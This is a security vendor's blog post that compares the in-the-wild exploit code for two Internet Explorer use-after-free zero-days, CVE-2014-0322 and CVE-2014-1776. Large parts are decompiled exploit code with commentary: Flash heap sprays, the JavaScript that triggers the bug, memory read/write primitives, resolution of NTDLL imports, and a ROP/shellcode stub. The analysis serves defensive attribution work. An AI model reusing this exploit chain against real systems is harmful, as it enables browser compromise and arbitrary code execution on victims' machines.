This post originally appeared on Cyvera.com.
Just about a week ago, everyone was alarmed due to a new zero-day vulnerability affecting Internet Explorer 6 through 11. The vulnerability was used in attacks in the wild, which targeted IE 8 to IE 11. The impact was so severe that Microsoft hurried to issue an out-of-band patch. Today, I would like to show how relatively easy it is to attack these days, when you can just reuse code.
We will compare the attack that used CVE-2014-0322 (then, an IE zero-day) to the current attacks utilizing CVE-2014-1776. We will show an almost exact match between the two templates for the attacks, indicating that either the same group was behind the two campaigns, or that the ease of acquiring used exploit code (even from public sources) allows different groups to quickly reuse and adapt the same code to the next vulnerability.
Overview
Both attacks utilize use-after-free vulnerabilities in IE, and leverage Flash Player in order to easily bypass DEP and ASLR. In both cases the scheme is the same:
- Load a Flash SWF file.
- Spray the heap with ActionScript uint vector objects with 0x3FE elements, for a total of 0x1000 bytes (i.e., 1 page) of memory for each vector object (including the vector's management information, which should be inaccessible directly from the ActionScript code).
- Spray the heap with references to a Sound object, to be used later as the first trigger to the shellcode.
- Call a JavaScript function in the HTML page and set a timer to invoke another AS function.
- Trigger a UAF vulnerability using the JavaScript code, while spraying the heap in order to ensure that the used block is controlled.
- Use the bug to change an AS vector's size (which is inaccessible directly from AS).
- Back in the timed function in the SWF, use the modified vector to change an adjacent vector's size to encompass all virtual memory, effectively achieving full memory disclosure and writing abilities (where current permissions allow that).
- Find a module in memory and reach NTDLL by hopping through modules' import address tables.
- Find a stack pivoting gadget in NTDLL as well as the address of ZwProtectVirtualMemory.
- Overwrite the virtual function table pointer of the Sound object to initiate code execution by calling the Sound object's (replaced) toString function. Then, use a few ROP gadgets to pivot the stack, change the permissions on the shellcode to RWX, and execute the shellcode.
- Restore normal operation.
There are, however, some improvements in this CVE-2014-1776 attack over the CVE-2014-0322 attack. For example, while all the hard work is crammed into one big function in the CVE-2014-0322 attack, the authors of the CVE-2014-1776 attack strove for cleaner code and broke the huge pile of code into many smaller functions, which constitute basic primitives for the larger goal. In fact, now it is even easier to reuse this code for the next exploit...
The Flash Spray
In both cases vectors of uints are sprayed (with 0x3FE elements in each vector), as well as references to a Sound object. The values of the uints in the sprayed vectors are constructed so as to fit the address the attacker had chosen and the vulnerability (and the browser, if applicable).
CVE-2014-1776
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 |
var _local6:* = ((0x1000 / 4) - 2); var _local7:* = 0; var _local8:* = ((0x1000 / 4) - 17); var _local9:* = (0x18182000 + 8); var _local10:* = 0; var _local11:uint; var _local12:uint = 0x41414141; _local1 = 0; this.m_rawLen = _local6; this.m_mySo = SharedObject.getLocal("mySo32"); var _local13:Boolean = this.DetmineCookie(); while (_local1 < this.m_suf) { this.s[_local1] = new Vector.<uint>(_local6); if (this.m_iver == "8"){ return; }; if (this.m_iver == "9"){ this.s[_local1][0] = 0; this.setArrValue(_local1, 6, ((_local9 + 16) - 120)); this.setArrValue(_local1, (6 + 4), ((_local9 + 80) - 28)); _local10 = 16; this.setArrValue(_local1, _local10, ((_local9 + 32) - 44)); this.setArrValue(_local1, (_local10 + 12), ((_local9 + 32) - 44)); _local10 = 32; this.setArrValue(_local1, _local10, (_local9 + 52)); this.setArrValue(_local1, (_local10 + 4), 0x42424242); this.setArrValue(_local1, (_local10 + 16), 0); _local10 = 52; this.setArrValue(_local1, _local10, 0x42424242); this.setArrValue(_local1, (_local10 + 8), 0x42424242); _local10 = 80; this.setArrValue(_local1, _local10, (((_local9 + 80) + 4) - 4)); this.setArrValue(_local1, (_local10 + 4), (((_local9 + 80) + 8) - 168)); this.setArrValue(_local1, (_local10 + 8), 0); _local10 = 0x0100; this.s[_local1][((_local10 + 4) / 4)] = (((_local9 + 8) + _local10) + 376); this.s[_local1][((_local10 + 8) / 4)] = 0; this.s[_local1][((_local10 + 12) / 4)] = ((((_local10 + _local9) + 12) + 12) + 4); this.s[_local1][(((_local10 + 12) + 12) / 4)] = 1; _local10 = (((_local10 + 12) + 12) + 4); this.s[_local1][((_local10 + 28) / 4)] = ((_local9 + 4088) - 66); this.s[_local1][((_local10 + 36) / 4)] = 0xFFFF0000; this.s[_local1][((_local10 + 48) / 4)] = 0x41414141; this.s[_local1][((_local10 + 112) / 4)] = 0x46464646; _local10 = (4088 - 66); this.setArrValue(_local1, (_local10 - 12), 1094795761); this.setArrValue(_local1, (_local10 + 0), (((_local9 + _local10) + 8) - 32)); this.setArrValue(_local1, (_local10 + 8), 0xFFFFFFFF); this.setArrValue(_local1, (_local10 + 12), 15); this.setArrValue(_local1, (_local10 + 32), 0); this.setArrValue(_local1, ((_local10 + 36) + 20), 0); this.setArrValue(_local1, (_local10 + 60), 0xFFFFFFFF); this.s[_local1][(1022 - 1)] = 0xFFFFFFFF; } else { if (this.m_iver == "10"){ ... }; _local1++; }; _local1 = 0; while (_local1 < 0x0400) { this.ss[_local1] = new Vector.<Object>(_local8); _local2 = 0; while (_local2 < _local8) { this.ss[_local1][_local2] = this.snd; _local2++; }; _local1++; }; |
CVE-2014-0322
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 |
loc1 = 0; var loc9:*=0x1A1B2000; // this.s is a vector of 0x18180 elements, each of which being a vector of 0x3FE (1022) UINTs // When sprayed (like so), the uint vectors follow each other in memory in the format: number of elements (4 bytes - 0x3FE), unknown (4 bytes), elements(0x3FE * 4 bytes) // Total size in bytes of such a uint vector: 0x1000 (4096) bytes. while (loc1 < 0x18180) { this.s[loc1] = new Vector.<uint>(0x3FE); //ManipulatedBufferIndex); this.s[loc1][0] = 0xDEADBEE1; loc7 = 1; this.s[loc1][(0x10 - 8) / 4] = 0x1A1B2000; //loc9; this.s[loc1][(0x14 - 8) / 4] = 0x1A1B2000; //loc9; this.s[loc1][(0x2F0 - 8) / 4] = 0x41414141; this.s[loc1][(0x1C0 - 8) / 4] = 0; ++loc1; } loc1 = 0; // this.ss is a vector of 0x400 (1024) elements, each of which being a vector of 0x3FE (1022) references to the same sound object // When sprayed (like so), the sound-reference vectors follow each other in memory in the format: number of elements (4 bytes - 0x3FE), irrelevant (4 bytes), elements(0x3FE * 4 bytes) // Total size in bytes of such a sound-reference vector: 0x1000 (4096) bytes. while (loc1 < 0x400) { this.ss[loc1] = new Vector.<Object>(0x3EF) //loc8); loc2 = 0; while (loc2 < 0x3EF) //loc8) { this.ss[loc1][loc2] = this.snd; ++loc2; } ++loc1; } |
The UAF Triggering
In both attacks, the JS code which triggers the vulnerability is called from the ActionScript code, using the external interface. The AS code then registers a function to be invoked at a later time and search for the artifacts of the triggered vulnerability. Although the code performing the actual UAF is almost the same, there are some differences in behavior here:
- In the current attack, the JS function gets a parameter, which holds JavaScript code that is crucial for the vulnerability to arise. In contrast, in the previous attack, the entire JavaScript code was present in the HTML.
- In the current attack, the JS code sent to the external function lies encrypted (using RC4) in the SWF file, and is decrypted only prior to sending it to the external interface. Other parts in the SWF (relating to the shellcode) are also encrypted. Consequently, if you only have the HTML file, you cannot reproduce the zero-day (and vice versa). In contrast, the previous attack had no encrypted elements at all.
- In yet another effort to make sure the zero-day is not compromised even if one file falls into the wrong hands, in the current attack the HTML file was split into two files, the second one containing the JS code used for the heap-spray.
The heap-sprays, though, are very much alike.
CVE-2014-1776
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 |
var g_arr = []; var arrLen = 0x250; var m_block; var g_mark = 1; function fun() { var CsEEuo1 = 0; for(CsEEuo1 = 0; CsEEuo1 < arrLen; ++CsEEuo1) { g_arr[CsEEuo1] = window["document"]["createElement"]('div'); } var KzmQtp2 = dword2data(0x4eadc0de); var osLECEF3 = 0x18181818; while (KzmQtp2["length"] < 0xd8) { if (KzmQtp2["length"] == (0x5c/2)) { KzmQtp2 += dword2data(osLECEF3-0x18-0xc); } else if (KzmQtp2["length"] == (0xa0/2)) { KzmQtp2 += dword2data(osLECEF3 + 0x10); } else { KzmQtp2 += dword2data(0x41414141); } } m_block = KzmQtp2["substring"](0,(0xd8-2)/2) try { this[removeNode](true); } catch(e){} CollectGarbage(); for (CsEEuo1 = 0; CsEEuo1 < (arrLen/2); ++CsEEuo1) { g_arr[CsEEuo1][title] = m_block["substring"](0, m_block[length]); } g_mark++; } |
CVE-2014-0322
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 |
function fun() { var a=0; for(a=0;a<arrLen;++a) { g_arr[a]=document.createElement('div') }; var b = dword2data(0xdeadc0de); var c = 0x1a1b2000; while (b.length < 0x360) { if (b.length == (0x94 / 2)) { b += dword2data(c + 0x10 - 0x0c) } else if (b.length == (0x98 / 2)) { b += dword2data(c + 0x14 - 0x8) } else if (b.length == (0xac / 2)) { b += dword2data(c - 0x10) } else if (b.length == (0x15c / 2)) { b += dword2data(0x42424242) } else { b += dword2data(0x1a1b2000 - 0x10) } }; var d=b.substring(0,(0x340-2)/2); try{ this.outerHTML=this.outerHTML } catch(e){} CollectGarbage(); for(a=0;a<arrLen;++a) { g_arr[a].title=d.substring(0,d.length); } } |
Memory Ownage
In both cases this is pretty easy - look for the modified length of the vector (that is what the IE vulnerability was used for), use the modified vector to modify the adjacent vector's length to span all memory, and use the second modified vector for memory read and write operations.
CVE-2014-1776
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
_local25 = 0; while (_local25 < this.m_suf) { try { if ((this.s[_local25] as Vector.<uint>).length > this.m_rawLen){ break; }; } catch(e:Error) { }; _local25 = (_local25 + 1); }; if (_local25 == this.m_suf){ return; }; _local26 = 1; _local28 = -1; this.s[_local25][(((0x1000 * _local26) / 4) - 2)] = 0x3FFFFFF0; _local37 = 0; while (_local37 < this.s.length) { if (this.s[_local37].length == 0x3FFFFFF0){ _local28 = _local37; _local12 = (_local12 + 0x1000); break; }; _local37++; }; if (_local28 == -1){ return; }; |
CVE-2014-0322
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 |
loc28 = 0; // Look for a uint vector with a modified size property // The vector will seem larger by 2 elements, for a total of 1024 elements, allowing it to overwrite the number-of-elements field in the uint vector immediately following it while (loc28 < 0x18180) { try { if ((this.s[loc28] as Vector.<uint>).length > this.m_rawLen) { break; } } catch (e:Error) { }; loc28 = loc28 + 1; } // Bail out if we can't find the manipulated vector if (loc28 == 0x18180) { return; } this.found = true; // loc28 currently holds the index of the first modified vector in this.s (the one whose length was incremented by 2) // The following line is logically: this.s[loc28][original_original_number_of_elements_in_uint_vector] = 0x3FFFFFF0 // This is an off-by-one assignment, but it works since we've previously modified the length field of the vector // In effect, this changes the length field of the consecutive vector in memory to 0x3FFFFFF0 this.s[loc28][0x1000 / 4 - 2] = 0x3FFFFFF0; loc1 = loc28; loc29 = loc28; // Look for the modified vector in this.s (should really be this.s[loc28 + 1]) while (loc29 < loc28 + 10) { if (this.s[loc29].length == 0x3FFFFFF0) { ManipulatedBufferIndex = loc29; // Update loc20 (renamed to ManipulatedBufferAddress) to indicate the memory address of the first element of the second modified uint vector (size 0x3FFFFFF0) ManipulatedBufferAddress = ManipulatedBufferAddress + (loc29 - loc28) * 0x1000; loc31 = 100; break; } loc29 = loc29 + 1; } // We had 10 chances of finding the second modified vector, but we still failed - bail out if (loc29 == loc28 + 10) { return; } |
Looking for Modules and Functions
This is pretty straightforward - find a module in memory, go backwards to find its base, parse the PE header and look for a function imported from KERNEL32.DLL, repeat the same process to go from KERNEL32.DLL to NTDLL.DLL, and then parse its import table looking for the needed functions. However, the code for the recent attack has one improvement over the older code: The new code uses the Sound object's vftable to get a function pointer which points inside the Flash OCX, while the older code scans the memory and tries to find an executable image by brute-forcing.
CVE-2014-1776
1 2 3 4 |
_local9 = (_local9 & 0xFFFFFFFC); _local16 = _local9; this.m_flashVirtual = _local16; _local17 = this.getModuleBase((this.read32(_local9) & 0xFFFF0000)); |
CVE-2014-0322
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 |
loc31 = loc11 / 0x10000; loc28 = 0; // Look for an executable image in memory - they all start at a 64k boundary // 0x5A4D is "MZ" while (loc28 < loc31) { try { if (loc11 > ManipulatedBufferAddress) { if (this.s[ManipulatedBufferIndex][(loc11 - ManipulatedBufferAddress) / 4] % 0x10000 == 0x5A4D) { break; } loc11 = loc11 - 0x10000; } else { if (this.s[ManipulatedBufferIndex][0x40000000 + (loc11 - ManipulatedBufferAddress) / 4] % 0x10000 == 0x5A4D) { break; } loc11 = loc11 - 0x10000; } } catch (e:Error) { }; loc28 = loc28 + 1; } |
Running the Shellcode
In both cases, the Sound object's vftable pointer is overwritten, pointing to a pre-crafted area in memory. Then, the Sound object's toString method is called (#28 in the table), which runs a stack pivoting gadget chained to a gadget that uses ZwVirtualProtect on the shellcode, which immediately follows. The shellcode begins by saving information and restoring overwritten values.
CVE-2014-1776
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
this.s[_local28][((((_local6 - _local12) / 4) - 2) - 4)] = (_local41 & 0xFFFFF000); // Address to change the protection on this.s[_local28][((((_local6 - _local12) / 4) - 1) - 4)] = 0x3000; // Number of bytes to change protection on this.s[_local28][((_local6 - _local12) / 4)] = _local10; // Addr of ZwProtectVirtualMemory this.s[_local28][(((_local6 - _local12) / 4) + 1)] = (_local41 + 0x1C); // Return to (index of _local41) + 7 this.s[_local28][(((_local6 - _local12) / 4) + 2)] = 0xFFFFFFFF; // ProcessHandle (-1 = current process) this.s[_local28][(((_local6 - _local12) / 4) + 3)] = (_local6 - 0x18); // &BaseAddress ((index of loc2) - 6 ==> BaseAddress = loc2 & 0xFFFFF000) this.s[_local28][(((_local6 - _local12) / 4) + 4)] = (_local6 - 0x14); // &NumberOfBytesToProtect this.s[_local28][(((_local6 - _local12) / 4) + 5)] = 0x40; // NewAccessProtection (0x40 = PAGE_READWRITEEXECUTE this.s[_local28][(((_local6 - _local12) / 4) + 6)] = (_local6 - 0x1C); // &OldAccessProtection this.s[_local28][(((_local41 - _local12) / 4) + 7)] = 0x18002D89; // Shellcode begins here this.s[_local28][(((_local41 - _local12) / 4) + 8)] = 0xB8901818; // MOV [0x18181800],EBP this.s[_local28][(((_local41 - _local12) / 4) + 9)] = _local9; // MOV EAX,Addr of vftable pointer this.s[_local28][(((_local41 - _local12) / 4) + 10)] = 0x00C79090; this.s[_local28][(((_local41 - _local12) / 4) + 11)] = _local7; // MOV [EAX],Original vftable pointer this.s[_local28][(((_local41 - _local12) / 4) + 12)] = 0xB8909090; // MOV EAX,Addr of overwritten vec len this.s[_local28][(((_local41 - _local12) / 4) + 13)] = (this.m_longArrBase - 8); this.s[_local28][(((_local41 - _local12) / 4) + 14)] = 0x00C79090; // MOV [EAX],Original vec len this.s[_local28][(((_local41 - _local12) / 4) + 15)] = this.m_rawLen; this.s[_local28][(((_local41 - _local12) / 4) + 16)] = 0xEC83E58B; // MOV ESP,EBP this.s[_local28][(((_local41 - _local12) / 4) + 17)] = 0x2CEB902C; // SUB ESP,0x2C this.s[_local28][(((_local41 - _local12) / 4) + 17)] = 0x2CEB902C; // JMP +0x2C this.s[_local28][(((_local6 - _local12) / 4) + 28)] = this.m_xchgInstAddr; // Overwrites the address of toString in the Sound object's vftable |
CVE-2014-0322
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
this.s[ManipulatedBufferIndex][(loc2 - ManipulatedBufferAddress) / 4 - 2 - 4] = loc2 & 0xFFFFF000; // Address to change the protection on this.s[ManipulatedBufferIndex][((loc2 - ManipulatedBufferAddress) / 4 - 1) - 4] = 0x1000; // Number of bytes to change protection on this.s[ManipulatedBufferIndex][(loc2 - ManipulatedBufferAddress) / 4] = AddrOfZwProtectVirtualMemory; this.s[ManipulatedBufferIndex][(loc2 - ManipulatedBufferAddress) / 4 + 1] = loc2 + 0x1C; // Return to (index of loc2) + 7 this.s[ManipulatedBufferIndex][(loc2 - ManipulatedBufferAddress) / 4 + 2] = 0xFFFFFFFF; // ProcessHandle (-1 = current process) this.s[ManipulatedBufferIndex][(loc2 - ManipulatedBufferAddress) / 4 + 3] = loc2 - 0x18; // &BaseAddress ((index of loc2) - 6 ==> BaseAddress = loc2 & 0xFFFFF000) this.s[ManipulatedBufferIndex][(loc2 - ManipulatedBufferAddress) / 4 + 4] = loc2 - 0x14; // &NumberOfBytesToProtect this.s[ManipulatedBufferIndex][(loc2 - ManipulatedBufferAddress) / 4 + 5] = 0x40; // NewAccessProtection (0x40 = PAGE_READWRITEEXECUTE this.s[ManipulatedBufferIndex][(loc2 - ManipulatedBufferAddress) / 4 + 6] = loc2 - 0x1C; // &OldAccessProtection this.s[ManipulatedBufferIndex][(loc2 - ManipulatedBufferAddress) / 4 + 7] = 0x20202D89; // Shellcode begins here this.s[ManipulatedBufferIndex][(loc2 - ManipulatedBufferAddress) / 4 + 8] = 0xB8901A1B; // MOV [0x1A1B2020],EBP this.s[ManipulatedBufferIndex][(loc2 - ManipulatedBufferAddress) / 4 + 9] = loc3; // MOV EAX,loc3 this.s[ManipulatedBufferIndex][(loc2 - ManipulatedBufferAddress) / 4 + 10] = 0xC79090; // This restores the original vftable address of the sound object this.s[ManipulatedBufferIndex][(loc2 - ManipulatedBufferAddress) / 4 + 11] = loc35; // MOV [EAX],loc35 this.s[ManipulatedBufferIndex][(loc2 - ManipulatedBufferAddress) / 4 + 12] = 0xB8909090; // MOV EAX,AddrOfManipulatedVector // This points to the beginning of the manipulated vector object - we're overwriting its size again this.s[ManipulatedBufferIndex][(loc2 - ManipulatedBufferAddress) / 4 + 13] = ManipulatedBufferAddress - 8; this.s[ManipulatedBufferIndex][(loc2 - ManipulatedBufferAddress) / 4 + 14] = 0xC79090; this.s[ManipulatedBufferIndex][(loc2 - ManipulatedBufferAddress) / 4 + 15] = 0x3FFFFFF0; // MOV [EAX],0x3FFFFFF0 this.s[ManipulatedBufferIndex][(loc2 - ManipulatedBufferAddress) / 4 + 16] = 0xEC83E58B; // MOV ESP,EBP this.s[ManipulatedBufferIndex][(loc2 - ManipulatedBufferAddress) / 4 + 17] = 0x2CEB902C; // SUB ESP,0x2C this.s[ManipulatedBufferIndex][(loc2 - ManipulatedBufferAddress) / 4 + 18] = 0xCCCCCCCC; // JMP +0x2C this.s[ManipulatedBufferIndex][(loc2 - ManipulatedBufferAddress) / 4 + 28] = AddrOfStackPivotGadget; // Overwrites the address of toString in the Sound object's vftable // Shellcode continues here after the jump |
Summary
We have shown a very high correlation between the exploit code used in the CVE-2014-1776 attack, and the exploit code used in the CVE-2014-0322 attack. Clearly, the same code base was used. Whether this is indicative of the same actor or not, we cannot tell, since all code was freely available on the net when the recent attack commenced.
Looking at the entire SWF file in both cases, it can be seen that some mistakes were made, and some code was copied without actually utilizing it or understanding why it is there. Nevertheless, the high correlation between the two exploits shows how easy it has become to reuse proven code from past exploits when preparing the next attack. This only means that organizations need to stay protected, as sophisticated attacks can be easily copied by teams who don't possess the knowledge to construct such an attack on their own.
All endpoints on which Cyvera TRAPS was installed were (and are) protected from the CVE-2014-1776 attack: TRAPS stops this in-the-wild exploitation attempt at several different points. Since TRAPS does not rely on signatures or behaviors but on breaking the attacker's core techniques, TRAPS stops even zero-day attacks (including this one) without any need for updates. Of course, TRAPS users were also protected from the CVE-2014-0322 attack.